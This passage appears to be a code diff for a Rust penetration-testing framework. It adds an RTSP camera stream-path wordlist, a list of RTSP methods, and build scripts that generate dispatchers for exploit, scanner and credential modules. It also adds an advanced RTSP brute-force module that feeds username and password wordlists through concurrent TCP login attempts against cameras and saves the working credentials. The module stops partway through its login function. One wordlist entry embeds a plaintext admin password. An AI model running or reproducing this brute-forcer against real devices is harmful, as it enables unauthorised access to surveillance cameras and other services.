||||
GetData.cgi
|
||||
H264
|
||||
HighResolutionVideo
|
||||
HighResolutionvideo
|
||||
Image.jpg
|
||||
LowResolutionVideo
|
||||
MJPEG.cgi
|
||||
MediaInputh264
|
||||
MediaInputh264stream_1
|
||||
MediaInputmpeg4
|
||||
ONVIFMediaInput
|
||||
ONVIFchannel1
|
||||
PSIAStreamingchannels0?videoCodecType=H.264
|
||||
PSIAStreamingchannels1
|
||||
PSIAStreamingchannels1?videoCodecType=MPEG4
|
||||
PSIAStreamingchannelsh264
|
||||
Possible
|
||||
ROHchannel11
|
||||
StreamingChannels1
|
||||
StreamingChannels101
|
||||
StreamingChannels102
|
||||
StreamingChannels103
|
||||
StreamingChannels2
|
||||
StreamingUnicastchannels101
|
||||
Streamingchannels101
|
||||
Video?Codec=MPEG4&Width=720&Height=576&Fps=30
|
||||
VideoInput1h2641
|
||||
access_code
|
||||
access_name_for_stream_1_to_5
|
||||
av0_0
|
||||
av0_1
|
||||
av2
|
||||
avn=2
|
||||
axis-mediamedia.amp
|
||||
axis-mediamedia.amp?videocodec=h264&resolution=640x480
|
||||
cam
|
||||
camrealmonitor
|
||||
camrealmonitor?channel=1&subtype=00
|
||||
camrealmonitor?channel=1&subtype=01
|
||||
camrealmonitor?channel=1&subtype=1
|
||||
cam0_0
|
||||
cam0_1
|
||||
cam1h264
|
||||
cam1h264multicast
|
||||
cam1mjpeg
|
||||
cam1mpeg4
|
||||
cam1onvif-h264
|
||||
camera.stm
|
||||
cgi-binviewervideo.jpg?resolution=640x480
|
||||
ch0
|
||||
ch0.h264
|
||||
ch001.sdp
|
||||
ch01.264
|
||||
ch0_0.h264
|
||||
ch0_unicast_firststream
|
||||
ch0_unicast_secondstream
|
||||
channel1
|
||||
dms.jpg
|
||||
dms?nowprofileid=2
|
||||
h264
|
||||
h264.sdp
|
||||
h264ch1sub
|
||||
h264media.amp
|
||||
h264Preview_01_main
|
||||
h264Preview_01_sub
|
||||
cam4mpeg4
|
||||
h264_vga.sdp
|
||||
image.jpg
|
||||
image.mpg
|
||||
imagejpeg.cgi
|
||||
imgmedia.sav
|
||||
imgvideo.asf
|
||||
imgvideo.sav
|
||||
ioImage1
|
||||
ipcam.sdp
|
||||
ipcamstream.cgi?nowprofileid=2
|
||||
ipcam_h264.sdp
|
||||
jpgimage.jpg?size=3
|
||||
live
|
||||
live.sdp
|
||||
liveav0
|
||||
livech0
|
||||
livech00_0
|
||||
livech00_1
|
||||
livech1
|
||||
livech2
|
||||
liveh264
|
||||
livempeg4
|
||||
live0.264
|
||||
live1.264
|
||||
live1.sdp
|
||||
live2.sdp
|
||||
live3.sdp
|
||||
live_h264.sdp
|
||||
live_mpeg4.sdp
|
||||
livestream
|
||||
livestream
|
||||
media
|
||||
media.amp
|
||||
mediamedia.amp
|
||||
mediavideo1
|
||||
mediavideo2
|
||||
mediavideo3
|
||||
medias1
|
||||
mjpeg.cgi
|
||||
mjpegmedia.smp
|
||||
mp4
|
||||
mpeg4
|
||||
mpeg41media.amp
|
||||
mpeg4media.amp
|
||||
mpeg4media.amp?resolution=640x480
|
||||
mpeg4media.smp
|
||||
mpeg4cif
|
||||
mpeg4unicast
|
||||
mpg4rtsp.amp
|
||||
multicaststream
|
||||
now.mp4
|
||||
nph-h264.cgi
|
||||
nphMpeg4g726-640x
|
||||
nphMpeg4g726-640x480
|
||||
nphMpeg4nil-320x240
|
||||
onvif-mediamedia.amp
|
||||
onviflive2
|
||||
onvif1
|
||||
onvif2
|
||||
play1.sdp
|
||||
play2.sdp
|
||||
profile
|
||||
recognizer
|
||||
rtpvideo1.sdp
|
||||
rtsp_tunnel
|
||||
rtsph264
|
||||
rtsph2641080p
|
||||
stream1
|
||||
stream2
|
||||
streamingmjpeg
|
||||
synthesizer
|
||||
tcpav0_0
|
||||
user_defined
|
||||
video
|
||||
video.3gp
|
||||
video.cgi
|
||||
video.cgi?resolution=VGA
|
||||
video.cgi?resolution=vga
|
||||
video.h264
|
||||
video.mjpg
|
||||
video.mp4
|
||||
video.pro1
|
||||
video.pro2
|
||||
ucast11
|
||||
unicastc1s1live
|
||||
user.pin.mp2
|
||||
video.pro3
|
||||
videomjpg.cgi
|
||||
video1
|
||||
video1+audio1
|
||||
video2.mjpg
|
||||
videoMain
|
||||
videoinput_1:0h264_1onvif.stm
|
||||
user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream
|
||||
videostream.cgi?rate=0
|
||||
vis
|
||||
wfov
|
||||
@@ -0,0 +1,82 @@
|
||||
OPTIONS
|
||||
DESCRIBE
|
||||
SETUP
|
||||
PLAY
|
||||
PAUSE
|
||||
TEARDOWN
|
||||
GET_PARAMETER
|
||||
SET_PARAMETER
|
||||
REDIRECT
|
||||
ANNOUNCE
|
||||
RECORD
|
||||
FLUSH
|
||||
PING
|
||||
STOP
|
||||
RECEIVE
|
||||
START
|
||||
SHUTDOWN
|
||||
CHECK
|
||||
INIT
|
||||
TRICKPLAY
|
||||
STREAM
|
||||
OPEN
|
||||
CLOSE
|
||||
START_RECORD
|
||||
STOP_RECORD
|
||||
SCALE
|
||||
RESUME
|
||||
STANDBY
|
||||
START_PLAY
|
||||
REQUEST_KEY_FRAME
|
||||
CONFIG
|
||||
FORCE_IFRAME
|
||||
DETECT
|
||||
ALIVE
|
||||
RENEW
|
||||
LINK
|
||||
UNLINK
|
||||
SET_DELAY
|
||||
RESET
|
||||
ACTIVATE
|
||||
DEACTIVATE
|
||||
ENABLE
|
||||
DISABLE
|
||||
LOGON
|
||||
LOGOFF
|
||||
AUTH
|
||||
START_STREAM
|
||||
STOP_STREAM
|
||||
SET_TIME
|
||||
GET_TIME
|
||||
GET_STATUS
|
||||
GET_CONFIG
|
||||
SET_CONFIG
|
||||
GET_INFO
|
||||
SET_INFO
|
||||
GET_SNAPSHOT
|
||||
TRIGGER
|
||||
UPGRADE
|
||||
QUERY
|
||||
POLL
|
||||
HEARTBEAT
|
||||
REPORT
|
||||
CAMERA_CONTROL
|
||||
FOCUS
|
||||
ZOOM
|
||||
PTZ
|
||||
PAN
|
||||
TILT
|
||||
PRESET
|
||||
GOTO_PRESET
|
||||
SET_PRESET
|
||||
REMOVE_PRESET
|
||||
ADJUST
|
||||
STATUS
|
||||
RESTART
|
||||
GET_URL
|
||||
SET_URL
|
||||
LOAD
|
||||
SAVE
|
||||
REGISTER
|
||||
UNREGISTER
|
||||
METADATA
|
||||
+3
-25
@@ -1,29 +1,7 @@
|
||||
use anyhow::{Result, bail};
|
||||
use anyhow::Result;
|
||||
|
||||
// Import all available credential modules
|
||||
use crate::modules::creds::{
|
||||
generic::{
|
||||
ftp_anonymous,
|
||||
ftp_bruteforce,
|
||||
sample_cred_check,
|
||||
telnet_bruteforce,
|
||||
ssh_bruteforce,
|
||||
},
|
||||
camera::acti::acti_camera_default,
|
||||
};
|
||||
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
|
||||
|
||||
/// Dispatch function for credential modules
|
||||
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"generic/sample_cred_check" => sample_cred_check::run(target).await?,
|
||||
"generic/ftp_bruteforce" => ftp_bruteforce::run(target).await?,
|
||||
"generic/ftp_anonymous" => ftp_anonymous::run(target).await?,
|
||||
"generic/telnet_bruteforce" => telnet_bruteforce::run(target).await?,
|
||||
"generic/ssh_bruteforce" => ssh_bruteforce::run(target).await?,
|
||||
"camera/acti/acti_camera_default" => acti_camera_default::run(target).await?,
|
||||
|
||||
_ => bail!("Creds module '{}' not found.", module_name),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("cred_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let creds_root = Path::new("src/modules/creds");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Generate dispatch function
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found cred module: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,13 +1,7 @@
|
||||
use anyhow::Result;
|
||||
use crate::modules::exploits;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
|
||||
|
||||
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"sample_exploit" => {
|
||||
exploits::sample_exploit::run(target).await?;
|
||||
},
|
||||
// Add more exploit modules here ...
|
||||
_ => eprintln!("Exploit module '{}' not found.", module_name),
|
||||
}
|
||||
Ok(())
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let exploits_root = Path::new("src/modules/exploits");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found exploit: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
+32
-23
@@ -6,14 +6,15 @@ use anyhow::Result;
|
||||
use crate::cli::Cli;
|
||||
use walkdir::WalkDir;
|
||||
|
||||
/// Handle CLI commands like: --command exploit --module creds/generic/ftp_anonymous --target x.x.x.x
|
||||
/// Handle CLI arguments like:
|
||||
/// --command scanner --module scanners/port_scanner --target 192.168.1.1
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let target = cli_args.target.clone().unwrap_or_default();
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
match command {
|
||||
"exploit" => {
|
||||
let trimmed = module.trim_start_matches("exploits/"); // normalize
|
||||
let trimmed = module.trim_start_matches("exploits/");
|
||||
exploit::run_exploit(trimmed, &target).await?;
|
||||
},
|
||||
"scanner" => {
|
||||
@@ -32,45 +33,50 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Called from the interactive shell (e.g. 'use creds/generic/ftp_anonymous' + 'run')
|
||||
/// Handle `run` in the interactive shell after `use <module>`
|
||||
/// Supports both full paths like "scanners/port_scanner" and short names like "port_scanner"
|
||||
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
|
||||
let available = discover_modules();
|
||||
|
||||
if !available.contains(&module_path.to_string()) {
|
||||
eprintln!("Unknown module '{}'. Available modules:", module_path);
|
||||
// Exact match (e.g. "scanners/port_scanner")
|
||||
let full_match = available.iter().find(|m| m == &module_path);
|
||||
|
||||
// Short match (e.g. "port_scanner" from "scanners/port_scanner")
|
||||
let short_match = available.iter().find(|m| {
|
||||
m.rsplit_once('/')
|
||||
.map(|(_, short)| short == module_path)
|
||||
.unwrap_or(false)
|
||||
});
|
||||
|
||||
let resolved = if let Some(m) = full_match {
|
||||
m
|
||||
} else if let Some(m) = short_match {
|
||||
m
|
||||
} else {
|
||||
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
|
||||
for module in available {
|
||||
println!(" {}", module);
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
// Split path like "creds/generic/ftp_anonymous" -> ("creds", "generic/ftp_anonymous")
|
||||
let mut parts = module_path.splitn(2, '/');
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
let module_name = parts.next().unwrap_or("");
|
||||
|
||||
match category {
|
||||
"exploits" => {
|
||||
exploit::run_exploit(module_name, target).await?;
|
||||
},
|
||||
"scanners" => {
|
||||
scanner::run_scan(module_name, target).await?;
|
||||
},
|
||||
"creds" => {
|
||||
creds::run_cred_check(module_name, target).await?;
|
||||
},
|
||||
_ => {
|
||||
eprintln!("Category '{}' is not supported.", category);
|
||||
}
|
||||
"exploits" => exploit::run_exploit(module_name, target).await?,
|
||||
"scanners" => scanner::run_scan(module_name, target).await?,
|
||||
"creds" => creds::run_cred_check(module_name, target).await?,
|
||||
_ => eprintln!("❌ Category '{}' is not supported.", category),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Discover modules in src/modules/{exploits,scanners,creds} recursively up to 6 levels deep
|
||||
/// Walks src/modules/{exploits,scanners,creds} recursively and returns all `.rs` modules (excluding mod.rs)
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
|
||||
let categories = ["exploits", "scanners", "creds"];
|
||||
|
||||
for category in categories {
|
||||
@@ -80,7 +86,10 @@ pub fn discover_modules() -> Vec<String> {
|
||||
for entry in walker.into_iter().filter_map(|e| e.ok()) {
|
||||
let path = entry.path();
|
||||
|
||||
if path.is_file() && path.extension().map(|e| e == "rs").unwrap_or(false) {
|
||||
if path.is_file()
|
||||
&& path.extension().map_or(false, |e| e == "rs")
|
||||
&& path.file_name().map_or(true, |n| n != "mod.rs")
|
||||
{
|
||||
if let Ok(relative) = path.strip_prefix("src/modules") {
|
||||
let module_path = relative
|
||||
.with_extension("") // remove .rs
|
||||
|
||||
@@ -1,13 +1,7 @@
|
||||
use anyhow::Result;
|
||||
use crate::modules::scanners;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
|
||||
|
||||
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"sample_scanner" => {
|
||||
scanners::sample_scanner::run(target).await?;
|
||||
},
|
||||
// Add more scanner modules here ...
|
||||
_ => eprintln!("Scanner module '{}' not found.", module_name),
|
||||
}
|
||||
Ok(())
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Write};
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let scanners_root = Path::new("src/modules/scanners");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found scanner: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -4,4 +4,4 @@
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
|
||||
@@ -0,0 +1,371 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::Engine as _;
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::SocketAddr,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::Mutex,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Advanced RTSP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
//------------------------------
|
||||
// 1) Basic Brute Force Settings
|
||||
//------------------------------
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RTSP Port", "554")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
//------------------------------
|
||||
// 2) Advanced Features
|
||||
//------------------------------
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
// By default, we'll demonstrate a DESCRIBE method.
|
||||
// You could prompt for multiple commands, but here's one for simplicity.
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
|
||||
// Prompt for custom headers file
|
||||
let headers_file = prompt_yes_no("Load extra RTSP headers from a file?", false)?;
|
||||
if headers_file {
|
||||
let headers_path = prompt_required("Path to RTSP headers file")?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
//------------------------------
|
||||
// 3) Brute Force RTSP Paths
|
||||
//------------------------------
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let paths = if brute_force_paths {
|
||||
let paths_file = prompt_required("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
// If not brute forcing paths, we just do an empty vector or single slash
|
||||
vec!["".to_string()] // We'll interpret "" as no path specified
|
||||
};
|
||||
|
||||
//------------------------------
|
||||
// 4) Begin Brute Force
|
||||
//------------------------------
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
// Load user list
|
||||
let users = load_lines(&usernames_file)?;
|
||||
|
||||
// Load password list
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
|
||||
let mut idx = 0;
|
||||
// For each password
|
||||
for pass in pass_lines {
|
||||
// If we've already found valid creds and we're stopping on success, break early
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
// If combo_mode is true, each password tries all users.
|
||||
// Otherwise, line up each user with the “idx” (like a parallel dictionary).
|
||||
let userlist = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
// Use user at "idx % users.len()" if we’re not in combo_mode
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
// We batch tasks up to "concurrency"
|
||||
let mut handles = vec![];
|
||||
|
||||
// For each username
|
||||
for user in userlist {
|
||||
// For each path
|
||||
for path in &paths {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
// Clone references for the task
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let path = path.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
|
||||
// The advanced method & headers
|
||||
let command = advanced_command.clone();
|
||||
let headers = advanced_headers.clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
// Check again if we've been signaled to stop
|
||||
if *stop.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
|
||||
Ok(true) => {
|
||||
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
|
||||
println!("[+] {} -> {}:{} [path={}]",
|
||||
addr, user, pass, path_str);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
|
||||
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {} -> error: {}", addr, e));
|
||||
}
|
||||
}
|
||||
|
||||
// A short delay between attempts
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
// If we reach concurrency, wait for them to finish before scheduling more
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for any leftover tasks in the batch
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
//------------------------------
|
||||
// 5) Show Results / Save
|
||||
//------------------------------
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found (with these paths).");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials (and paths):");
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt to authenticate via RTSP (with optional advanced method + headers).
|
||||
/// Returns Ok(true) if successful, Ok(false) if incorrect credentials, Err(...) if we can’t connect/parse response.
|
||||
async fn try_rtsp_login(
|
||||
addr: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
// Parse the address to confirm it's valid
|
||||
let socket_addr: SocketAddr = addr.parse()
|
||||
.map_err(|e| anyhow!("Invalid socket address '{}': {}", addr, e))?;
|
||||
|
||||
// Open TCP connection to camera
|
||||
let mut stream = TcpStream::connect(socket_addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
|
||||
// If the user wants advanced mode, use "method" (e.g., DESCRIBE) + headers.
|
||||
// Otherwise, fallback to OPTIONS. We'll do "DESCRIBE" by default if method is Some("DESCRIBE").
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
|
||||
// Build path portion (some cameras expect the path in the request line).
|
||||
